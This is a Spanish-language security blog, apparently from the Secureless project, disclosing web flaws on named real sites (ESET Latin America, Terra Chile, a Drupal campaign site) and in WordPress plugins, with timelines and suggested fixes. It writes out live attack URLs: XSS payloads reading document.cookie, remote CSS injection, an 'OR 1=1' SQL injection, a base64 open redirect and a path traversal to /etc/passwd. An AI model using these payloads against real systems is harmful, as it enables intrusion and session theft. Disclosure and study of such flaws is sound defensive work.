Secureless nace simplemente de la necesidad de investigar y aprender aun mas sobre este tipo de vulnerabilidades y seguridad en la web. Aunque a muchos no les parezca lo correcto, con el tiempo nos hemos dado cuenta que las fallas se corrigen mucho mas rapido cuando son publicadas y creemos que de esta forma podemos ayudar a que los sitios sean más seguros.

Lo que buscamos en esta version es explorar un poco más en el mundo de la (in) seguridad en aplicaciones web. En esta primera version agregamos la posibilidad de que la gente pueda reportarnos mediante un mensaje cifrado sitios vulnerables y de esta forma poder contribuir de forma “segura” a este proyecto, aunque la mayoría (99%) de los sitios publicados son producto de nuestra propia invesgitacion, agradecemos a quienes nos apoyan y nos envian información al respecto.

Como primera anecdota, tuvimos el caso de NIC Chile quien fue notificado al mismo tiempo de publicar la vulnerabilidad en Secureless, quienes resolvieron el problema en menos de 20 minutos. La vulnerabilidad que afectaba a NIC Chile era de tipo XSS en uno de sus scripts cgi.

Ya estamos planificando noches de “hacking” para dedicarnos a seguir publicando sitios importantes con fallas de seguridad.

Links:

- Twitter @secureless

- Secureless.org

La vulnerabilidades encontradas fueron del tipo “descubrimiento de informacion” que nos permitieron descubrir el path, el usuario de sistema, usuario de base de datos, nombre de la base de datos, nombres de las tablas, etc. Por otro lado, encontramos tambien script y formularios vulnerables a XSS.
Las vulnerabilidades fueron corregidas 1 dia despues de haber sido reportadas.
Las URLs afectadas son:

- http://www.eset-la.com/centro-amenazas/article.php
- http://www.eset-la.com/company/article.php
- http://www.eset-la.com/rss/podcasts
- http://www.eset-la.com/centro-amenazas/descarga/compania/cool_stuff.php
- http://www.eset-la.com/xtrasappz/ajax/events.ajax.php
- https://ps.eset-la.com/forms/prospectos.php
- https://ps.eset-la.com/forms/numeros_serie_registracion.php

Estas dos ultimas con https.

Los errores o warnings no estan deshabilitados en el servidor que publico. Se pueden apreciar errores que permiten descubrir el full-path de la aplicacion:

http://www.eset-la.com/centro-amenazas/article.php?contentID[]=aa
o
http://www.eset-la.com/company/article.php?contentID[\]=1379

Los scripts que permitian Cross-Site Scripting:

- https://ps.eset-la.com/forms/prospectos.php?promocode=tt%3C/script%3E%3Cbody%20onload=javascript:alert%28document.cookie%29%3E

- https://ps.eset-la.com/forms/prospectos.php?promocode=6969%22%3E%3Ciframe%20src=http://www.google.com.mx%3E&css=%22%3Eaa

Permitian inyectar codigo mediante la variable “promocode” y mediante la variable “css” era posible decirle al sitio que su archivo de hoja de estilo lo fuera a buscar a una URL externa, de esta forma se pasaria cualquier tipo de filtro que pudiese tener el sitio, por ejemplo:

- https://ps.eset-la.com/forms/numeros_serie_registracion.php?lang=es&css=http://remote.host/devel/poc.css?ps.eset-la.com

En nuestro “poc.css” remoto podriamos tener codigo css que incluya instrucciones javascript.
Todos los que pertenecen al subdominio “ps” usan la confianza del usuario en el sitio, ya que tiene un certificado SSL valido, el cual el usuario podria perfectamente confiar en una URL maliciosa.

Timeline:

- Descubiertas: 2 de Abril del 2011
- Reportadas: 6 de Abril del 2011
- Solucionadas: 7 de Abril del 2011

Las URL vulnerables corresponden al buscador de terra: buscador.terra.cl; al sitio de “seguridad”: seguridad.terra.cl; sitio web mobil:m.terra.cl; sitio web principal:www.terra.cl;y un sub-portal: acaballo.terra.cl

Timeline
* 25/Diciembre/2010: Se encuentran las vulnerabilidades.
* 27/Diciembre/2010: Se reportan.
* 28/Diciembre/2010: No se obtiene respuesta. Se publican.

La primera vulnerabilidad corresponde a un XSS encontrado en el buscador:

La pagina “Default.aspx” no está validando ni filtrando los datos pasados por la variable “query”.

La segunda vulnerabilidad tambien corresponde a XSS, pero afecta al sitio seguridad.terra.cl:

Tambien corresponde a un script asp que no valida ni filtra el valor de la variable “Pagina”, pudiendo inyectar código html o javascript

La tercera vulnerabilidad es una del tipo “Full Path Disclosure“; nos permite ver la ruta absoluta donde está la aplicación. Esta vulnerabilidad es bastante particular, ya que no he podido reproducirla en ningun otro script del mismo sitio. La URL http://www.terra.cl/deportes/index.cfm?accion=futbolnacional&id_reg=1518438 muestra una noticia o información correspondiente al id 1518438, sin embargo, si le agregamos dos puntos (..) al final de la URL, podemos ver un error que nos muestra la información:

Se pueden ver los dos puntos al final de la URL, lo que nos muestra el siguiente mensaje:

La cuarta vulnerabilidad es una SQL-Injection, afecta sl subdominio acaballo.terra.cl, especificamente a la URL http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460. Podemos hacer que se queje si agregamos la tipica comilla (‘) al final de la URL

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 274

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 275

O bien manejar la query para que nos devuelva verdadero y no muestre error, por ejemplo:

http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460%20OR%201=1;%20–

Ademas de poder inyectar SQL, nos revela información del path absoluto.

La quinta y última vulnerabilidad nos permite redireccionar al usuario a cualquier sitio fuera de terra.cl, la url vulnerable es http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=

Si a la variable urlRetorno se le pasa un valor de una URL cifrado en base64, el usuario será redireccionado a ese sitio. Por ejemplo, si ciframos http://www.google.cl en base64, quedaría aHR0cDovL3d3dy5nb29nbGUuY2w=, si ingresamos a la URL completa:

http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=

Podemos ver como el navegado se va automaticamente al sitio de Google. De esta forma,es posible hacer que un usuario ingrese a un sitio malicioso, usando la confianza del dominio de terra.cl.

Vamos a probar con las típicas rutas de Drupal para iniciar sesión, administrar el sistema, directorios de archivos subidos, themes, etc. A ver si encontramos algo interesante que nos pueda entregar información.

Si vemos el código fuente podemos deducir los siguientes paths:

modules/ Los módulos core de Drupal
sites/all
sites/all/modules Los módulos instalados manualmente
sites/default Directorio donde están los archivos subidos, configuraciones, etc

El primero “error” que encontramos, es el poder iniciar sesión sin validación de un captcha, de esta forma podemos hacer facilmente fuerza bruta al formulario de inicio de sesión de Drupal.

Para llegar a esta pantalla, debemos tipear en la barra de direcciones user/login.

http://www.efrei.cl/user/login

Si bien esto no es ningun fallo, bug o vulnerabilidad, hay que tener en claro que siento un sitio de un candidato presidencial y pensando en la cantidad de gente que piensa en hackear un sitio asi, no podemos dejar el inicio de sesión tan a simple vista y sin captcha.

Drupal es un CMS (o CMF) basado en módulos, para cualquier cosa que quieras hacer, debes hacer un módulo. Existe un módulo llamado “quicktabs” que tiene una vulnerabilidad de descubrimiento del directorio (Full Path Disclosure), al no validar el tipo de variable. Gracias a este módulo, hemos descubierto la ruta de instalación física de Drupal:

El directorio de instalación de Drupal es, claramente, /www/efrei.cl/html/. Tambien podemos ver esta misma vulnerabilidad en el módulo de calendario al ingresar a la URL:

http://www.efrei.cl/calendar?field_region_value_many_to_one[]=All

Seguramente hay más módulos instalados que nos puedan proveer de ésta información, pero sólo son éstas dos vulnerabilidades o fallos los que he podido encontrar, el sitio tiene la seguridad que Drupal provee, los directorios no permiten listar su contenido, tiene zonas de acceso restringido, etc.

We consider path disclosures a server configuration error. WordPress
files don’t protect against disclosing paths when directly loaded.

En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.
Pueden leer un hilo donde se discute sobre el tema.

Este problema lo reporté a security en wordpress.com el mismo día que hice la publicación pero no obtuve respuesta.

Ahora les mostraré los otros ficheros por los cuales es posible descubrir la ruta completa del sistema y las posibles soluciones que me han palnteado.

Dentro del directorio wp-admin/import tenemos varios ficheros php:

blogger.php
blogware.php
btt.php
dotclear.php
greymatter.php
jkw.php
livejournal.php
mt.php
opml.php
rss.php
stp.php
textpattern.php
utw.php
wordpress.php
wp-cat2tag.php

Todos vulnerables.
Dentro de wp-admin/includes tenemos los siguientes ficheros vulnerables:

admin.php
class-ftp-pure.php
class-ftp-sockets.php
class-wp-filesystem-direct.php
class-wp-filesystem-ftpext.php
class-wp-filesystem-ftpsockets.php
class-wp-filesystem-ssh2.php
comment.php
continents-cities.php
file.php
media.php
misc.php
plugin-install.php
plugin.php
schema.php
template.php
theme-install.php
update.php
upgrade.php
user.php

La solución que plantea esta persona es la siguiente:

o bien

Esta persona me comentó que haría una publicación en su sitio web al respecto, pero no la encuentro. Les dejo el enlace a su blog por si las moscas: http://rollanwar.net

Con una URL de este tipo, es posible forzar un FPD modificando las variables “dir” y “test”, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable “dir” a “../../../../../../etc/” y “file” a “passwd”, es muy probable que nos deje descargar el fichero /etc/passwd, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.

Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.

Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:

Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable “nombre” y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros folder=archivos/&archivo=test.pdf, el valor de la variable $enlace será “archivos/test.pdf”. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene ninguna validación.

La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:

De esta forma, jamás podremos cambiar el valor de la variable “$folder” y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido “archivos_para_descarga”. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un “administrador” de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf).

Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario www-data o apache (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.

Fatal error: Call to undefined function add_action() in /home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php on line 26

Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.

Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:

Sólo en esas líneas se hace unas cuantas veces la llamada a la función “add_action()” que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en hello.php y en muchos otros plugins muy usados.

Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:

find . -name "*.php" -exec grep -H add_action {} \;

Y obtendremos un resultado como el siguiente:

./wp-gravatar/gravatars.php:add_action(‘admin_menu’, ‘gravatar_admin_menu’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_authdescription_init’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_recent_comments_gravatars_register’, 1);
./smart-youtube/smartyoutube.php:add_action(‘admin_menu’, ‘yte_add_pages’);
./smart-youtube/smartyoutube.php:add_action( ‘plugins_loaded’, ‘yte_install’ );
./smart-youtube/smartyoutube.php:add_action( ‘after_plugin_row’, ‘yte_check_plugin_version’ );
./chili-code-highlighter/chili-code-highlighter.php:add_action( ‘plugins_loaded’, create_function( ”, ‘global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();’ ) );
./wp-db-backup/wp-db-backup.php:add_action(‘plugins_loaded’, ‘wpdbBackup_init’);
./subscribe2/counterwidget.php:add_action(‘plugins_loaded’, ‘widget_s2counter_init’);
./add-to-any/add-to-any.php:add_action(‘init’, ‘A2A_SHARE_SAVE_textdomain’);
./add-to-any/add-to-any.php:add_action(‘the_content’, ‘A2A_SHARE_SAVE_to_bottom_of_content’, 98);
./add-to-any/add-to-any.php:add_action(‘wp_head’, ‘A2A_SHARE_SAVE_button_css’);
./add-to-any/add-to-any.php:add_action(‘admin_head’, ‘A2A_SHARE_SAVE_admin_head’);
./add-to-any/add-to-any.php:add_action(‘admin_menu’, ‘A2A_SHARE_SAVE_add_menu_link’);
./creative-commons-license-widget/ccLicense.php:add_action(‘widgets_init’, ‘widget_ccLicense_init’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘init’, ‘init_textdomain’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘admin_menu’, ‘wp_add_related_posts_options_page’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( ‘save_post’, ‘vc_twit’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(‘admin_menu’, ‘vc_addTwitterAdminPages’);
./simplepie-core/simplepie_core.php:add_action(‘admin_menu’, ‘simplepie_core_options’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘publish_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘save_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_page_form’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘init’, array($aiosp, ‘init’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘wp_head’, array($aiosp, ‘wp_head’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘template_redirect’, array($aiosp, ‘template_redirect’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, array($aiosp, ‘admin_menu’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, ‘aiosp_meta_box_add’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( ‘admin_notices’, ‘aioseop_activation_notice’);
./google-analyticator/google-analyticator.php:add_action(‘admin_init’, ‘ga_admin_init’);
./google-analyticator/google-analyticator.php:add_action(‘admin_menu’, ‘add_ga_option_page’);
./google-analyticator/google-analyticator.php:add_action(‘init’, ‘ga_outgoing_links’);
./google-analyticator/google-analyticator.php:add_action(‘plugin_action_links_’ . plugin_basename(__FILE__), ‘ga_filter_plugin_actions’);
./google-analyticator/google-analyticator.php:add_action(‘wp_ajax_ga_ajax_accounts’, ‘ga_ajax_accounts’);
./google-analyticator/google-analytics-stats-widget.php:add_action(‘widgets_init’, ‘GoogleStatsWidget_init’);
./akismet/akismet.php:add_action(‘init’, ‘akismet_init’);
./akismet/akismet.php:add_action(‘admin_init’, ‘akismet_admin_init’);
./akismet/akismet.php:add_action(‘wp_set_comment_status’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘edit_comment’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘preprocess_comment’, ‘akismet_auto_check_comment’, 1);
./akismet/akismet.php:add_action(‘admin_menu’, ‘akismet_manage_page’);
./akismet/akismet.php:add_action(‘activity_box_end’, ‘akismet_stats’);
./akismet/akismet.php:add_action(‘rightnow_end’, ‘akismet_rightnow’);
./akismet/akismet.php:add_action(‘manage_comments_nav’, ‘akismet_check_for_spam_button’);
./akismet/akismet.php:add_action(‘admin_action_akismet_recheck_queue’, ‘akismet_recheck_queue’);
./akismet/akismet.php:add_action(‘init’, ‘widget_akismet_register’);
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(‘admin_menu’, ‘dl_reg_admin’);
./flickr-widget/flickr_widget.php:add_action( “init”, “flickr_widgets_init” );

La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:

wp-gravatar
smart-youtube
chili-code-highlighter
wp-db-backup
subscribe2
add-to-any
creative-commons-license-widget
wordpress-23-related-posts-plugin
twitter-updater-using-tinyurl
simplepie-core
all-in-one-seo-pack
google-analyticator
akismet
source-code-syntax-highlighting-plugin-for-wordpress
flickr-widget

Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:

Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.

Si lo miramos desde otro punto de vista, podríamos llegar a escalar el problema y decir que gran parte de la responsabilidad la tiene WordPress, todos los plugins deberían pasar por un test de calidad donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:

Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.